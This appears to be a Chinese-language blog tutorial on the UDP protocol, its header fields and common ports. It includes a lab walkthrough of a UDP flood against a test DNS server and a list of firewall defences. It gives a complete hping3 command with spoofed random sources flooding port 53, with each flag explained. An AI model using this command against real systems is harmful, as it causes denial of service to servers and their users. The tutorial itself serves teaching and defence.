UDP协议和报文格式
✍作者:柒烨带你飞
💪格言:生活的情况越艰难,我越感到自己更坚强;我这个人走得很慢,但我从不后退。
📜系列专栏:网络安全从菜鸟到飞鸟的逆袭
目录
- 一,UDP协议
- 1,协议的一些特点。
- 2,报文段
- 字段含义
- 3,常用的UDP端口号及其功能
- 二, 实施UDP Flood攻击
- 三,针对UDP Flood防御
- 1、使用防火墙防御 DDOS
一,UDP协议
1,协议的一些特点。
- 非连接:就是通信前无需建立连接,随时可发送数据;
- 传输效率高:是因为少了像 TCP 那样建立连接、确认等繁琐流程,所以传输速度快。
- 不保证数据顺序:对达到顺序混乱的包不进行排序。
- 可能丢包:UDP协议发送数据包无须等待对方确认。因此使用UDP协议可以随时发送数据,但无法保证数据能否成功被目标主机接受,可能丢包。
2,报文段
字段含义
- 源端口:这个字段占据 UDP 报文头的前 16 位(2字节),通常包含发送数据报的应用程序所使用的 UDP 端口。接收端的应用程序利用这个字段的值作为发送响应的目的地址。这个字段是可选的,所以发送端的应用程序不一定会把自己的端口号写入该字段中。如果不写入端口号,则把这个字段设置为 0。这样,接收端的应用程序就不能发送响应了。
- 目的端口:接收端计算机上 UDP 软件使用的端口,占据 16 位(2字节)。
- 长度:该字段占据 16 位(2字节),表示 UDP 数据报长度,包含 UDP 报文头和 UDP 数据长度。因为 UDP 报文头长度是 8个字节,所以这个值最小为 8。
- 校验和:该字段占据 16 位(2字节),可以检验数据在传输过程中是否被损坏
- 伪首部:这种伪首部并不是真正的首部,只是在计算检验和时,临时添加在UDP用户数据报前面,得到一个临时的UDP用户数据报 。检验和就是按照这个临时的UDP用户数据报来计算的。
3,常用的UDP端口号及其功能
端口 | 协议 | 说明 |
---|---|---|
53 | DNS | 域名系统 |
67-68 | DHCP | 这两个端口用于 DHCP(动态主机配置协议)服务。 |
69 | TFTP | 简单文件传输协议 |
111 | RPC | 远程过程调用 |
123 | NTP | 网络时间协议 |
161-162 | SNMP | 简单网络管理协议 |
二, 实施UDP Flood攻击
- 实验环境
- 一台kali linux
- 一台win-server2016(部署dns服务器 IP192.168.20.33)
- 一台win10
在sever2016上部署DNS服务器后,使用win10验证DNS服务器运行正常,能够正常解析域名部署DNS服务器的过程(DNS协议)
- 使用Kali Linux实施UDP Flood攻击
hping3 -q -n --rand-source --udp -p 53 --flood 192.168.20.33 -d 1000 -q 安静模式 -n 数字化输出,象征性输出主机地址 --rand-source 随机源地址 --udp udp模式 -p 目标端口 --flood 尽最快发送数据包,不显示回复 -d 发送数据包大小
-
攻击开始
-
打开win10,再去解析域名会发现请求超时
-
三,针对UDP Flood防御
UDP协议与TCP协议不同,是无连接状态的协议,因此针对UDPFood的防护非常困难,UDP攻击是一种互损的攻击方式,消耗对方资源的同时也消耗攻击者本身的资源
1、使用防火墙防御 DDOS
- 静态过滤:直接丢弃位于黑名单中的IP地址发出的流量,或者直接让位于白名单的IP地址发出的流量通过。
- 畸形报文过滤:过滤利用协议栈漏洞的畸形报文攻击。
- 扫描窥探报文过滤:过滤探测网络结构的扫描型报文和特殊控制报文。
- 源合法性认证:基于应用来认证报文源地址的合法性,这些应用支持协议交互。清洗设备通过发送源探测报文及检查响应报文来防范虚假源或工具发出的攻击流量,
- 基于会话防范:基于会话来防御并发连接、新建连接或异常连接超过阈值的连接耗尽类攻击
- 特征识别过滤:主要靠指纹学习和抓包分析来获得流量特征,防范僵尸工具或通过代理发起的攻击流量,以区别正常用户的访问行为。
其中抓包分析是指对异常/攻击流量抓包以生成抓包文件,通过对抓包文件进行解析和提取指纹,能够获取流量特征。
流量整形:流量经过此前各分层过滤之后,流量依然很大,超过用户实际带宽,此时采用流量整形技术,确保用户网络带宽可用。
博主的其他系列专栏📜📜📜
- 1 环境配置集合
- 2 C语言小实例项目
- 3 HTML入门 + 实战小案例
创作不易,😊如果觉得文章不错或能帮助到你学习,可以点赞👍收藏📁评论📒+关注哦!留下你的看法和建议💕
我们下期见✍️